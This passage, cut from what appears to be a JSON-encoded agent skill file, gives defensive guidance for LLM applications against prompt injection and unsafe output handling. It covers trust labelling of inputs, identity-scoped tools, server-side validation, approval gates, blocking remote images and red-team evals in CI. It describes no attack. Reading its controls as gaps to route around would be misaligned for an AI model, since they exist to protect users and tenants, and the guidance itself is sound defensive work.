guards, safe logging, and a red-team eval set in CI.\n---\n\nFollow LLM App Prompt Injection and Output Handling Guardrails: assume the model can be manipulated and put the controls in code. Map every prompt input as trusted, user, or untrusted, and keep untrusted content in its own delimited message. Keep secrets and authorization logic out of the system prompt. Filter retrieval by the caller's access and run every tool with the caller's identity. Give tools narrow typed schemas and validate arguments server-side, with no generic fetch, SQL, or exec tools. Require code-enforced approval for writes that leave the tenant or can't be undone. Cap tool rounds, tokens, and time. Encode or strictly parse model output for each sink and block remote images. Run injection and PII guards with logged verdicts, keep raw prompts out of normal logs, and gate every prompt, model, tool, or retrieval change on a red-team eval set.\n```\n" } ] }